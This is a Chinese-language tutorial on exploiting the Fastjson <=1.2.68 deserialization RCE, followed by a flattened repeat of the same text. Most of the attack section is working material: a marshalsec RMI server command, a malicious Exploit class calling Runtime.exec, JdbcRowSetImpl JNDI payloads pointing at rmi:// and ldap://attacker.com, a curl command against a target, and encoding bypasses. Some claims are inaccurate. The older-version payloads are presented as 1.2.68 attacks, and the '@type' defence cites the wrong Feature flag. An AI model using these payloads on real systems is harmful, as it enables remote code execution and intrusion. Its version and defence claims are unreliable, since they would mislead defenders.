记某众测Fastjson<=1.2.68反序列化RCE过程
字数 1366 2025-08-29 22:41:01

Fastjson<=1.2.68反序列化RCE漏洞分析与利用

前言

Fastjson是阿里巴巴开源的一个高性能JSON处理库,广泛用于Java应用程序中。在版本<=1.2.68中存在反序列化远程代码执行(RCE)漏洞,攻击者可以通过精心构造的JSON数据在目标系统上执行任意代码。

漏洞背景

Fastjson的反序列化漏洞历史由来已久,从1.2.24版本开始就不断有相关漏洞被披露。1.2.68版本虽然修复了之前的一些问题,但仍然存在可利用的反序列化点。

漏洞利用前提条件

  1. 目标系统使用Fastjson<=1.2.68版本
  2. 目标系统存在JSON数据反序列化操作
  3. 目标系统网络可出站(或存在可利用的内网服务)

漏洞检测

Fastjson依赖库判断

  1. 通过报错信息识别:

    • 发送非法JSON数据,观察返回错误是否包含"fastjson"字样
    • 示例:{"@type":"java.lang.Class"}
  2. 通过DNS查询识别:

    • 构造包含DNS查询的payload,观察是否有DNS解析请求
    • 示例:{"@type":"java.net.Inet4Address","val":"dnslog.cn"}

漏洞利用步骤

1. 搭建恶意RMI/LDAP服务

攻击者需要搭建一个恶意的RMI或LDAP服务来提供恶意类加载:

# 使用marshalsec工具搭建RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

2. 构造恶意Exploit类

创建包含恶意代码的Java类文件:

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译后放置在攻击者控制的Web服务器上。

3. 构造恶意JSON Payload

针对Fastjson<=1.2.68的payload示例:

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://attacker.com:1099/Exploit",
    "autoCommit":true
}

4. 发送Payload触发漏洞

将构造好的JSON数据发送到目标系统的Fastjson反序列化接口:

curl -X POST --data '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com:1099/Exploit","autoCommit":true}' http://target.com/api/json

绕过技巧

对于某些环境限制,可以采用以下绕过方式:

  1. 使用特殊字符绕过

    {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://attacker.com/Exploit","autoCommit":true}
    
  2. 使用十六进制编码

    {"@type":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://attacker.com/Exploit","autoCommit":true}
    
  3. 使用LDAP替代RMI

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}
    

防御措施

  1. 升级Fastjson

    • 升级到最新版本(1.2.83或更高)
    • 使用安全模式:ParserConfig.getGlobalInstance().setSafeMode(true);
  2. 输入验证

    • 对输入的JSON数据进行严格验证
    • 禁用@type特性:JSON.parseObject(jsonStr, Object.class, Feature.SupportNonPublicField)
  3. JVM防护

    • 设置com.sun.jndi.rmi.object.trustURLCodebase=false
    • 设置com.sun.jndi.ldap.object.trustURLCodebase=false
  4. 网络限制

    • 限制应用程序的出站连接
    • 使用网络防火墙规则限制不必要的协议

漏洞验证工具

  1. 手动验证

    curl -X POST --data '{"@type":"java.net.Inet4Address","val":"dnslog.xxx"}' http://target.com/api/json
    
  2. 自动化工具

    • fastjson_tool:https://github.com/wyzxxz/fastjson_rce_tool
    • FastjsonScan:https://github.com/earayu/fastjson_scanner

总结

Fastjson<=1.2.68的反序列化漏洞是一个严重的安全问题,攻击者可以通过精心构造的JSON数据在目标系统上执行任意代码。及时升级到安全版本并实施适当的防御措施是保护系统的关键。

Fastjson <=1.2.68反序列化RCE漏洞分析与利用 前言 Fastjson是阿里巴巴开源的一个高性能JSON处理库,广泛用于Java应用程序中。在版本 <=1.2.68中存在反序列化远程代码执行(RCE)漏洞,攻击者可以通过精心构造的JSON数据在目标系统上执行任意代码。 漏洞背景 Fastjson的反序列化漏洞历史由来已久,从1.2.24版本开始就不断有相关漏洞被披露。1.2.68版本虽然修复了之前的一些问题,但仍然存在可利用的反序列化点。 漏洞利用前提条件 目标系统使用Fastjson <=1.2.68版本 目标系统存在JSON数据反序列化操作 目标系统网络可出站(或存在可利用的内网服务) 漏洞检测 Fastjson依赖库判断 通过报错信息识别: 发送非法JSON数据,观察返回错误是否包含"fastjson"字样 示例: {"@type":"java.lang.Class"} 通过DNS查询识别: 构造包含DNS查询的payload,观察是否有DNS解析请求 示例: {"@type":"java.net.Inet4Address","val":"dnslog.cn"} 漏洞利用步骤 1. 搭建恶意RMI/LDAP服务 攻击者需要搭建一个恶意的RMI或LDAP服务来提供恶意类加载: 2. 构造恶意Exploit类 创建包含恶意代码的Java类文件: 编译后放置在攻击者控制的Web服务器上。 3. 构造恶意JSON Payload 针对Fastjson <=1.2.68的payload示例: 4. 发送Payload触发漏洞 将构造好的JSON数据发送到目标系统的Fastjson反序列化接口: 绕过技巧 对于某些环境限制,可以采用以下绕过方式: 使用特殊字符绕过 : 使用十六进制编码 : 使用LDAP替代RMI : 防御措施 升级Fastjson : 升级到最新版本(1.2.83或更高) 使用安全模式: ParserConfig.getGlobalInstance().setSafeMode(true); 输入验证 : 对输入的JSON数据进行严格验证 禁用 @type 特性: JSON.parseObject(jsonStr, Object.class, Feature.SupportNonPublicField) JVM防护 : 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 设置 com.sun.jndi.ldap.object.trustURLCodebase=false 网络限制 : 限制应用程序的出站连接 使用网络防火墙规则限制不必要的协议 漏洞验证工具 手动验证 : 自动化工具 : fastjson_ tool:https://github.com/wyzxxz/fastjson_ rce_ tool FastjsonScan:https://github.com/earayu/fastjson_ scanner 总结 Fastjson <=1.2.68的反序列化漏洞是一个严重的安全问题,攻击者可以通过精心构造的JSON数据在目标系统上执行任意代码。及时升级到安全版本并实施适当的防御措施是保护系统的关键。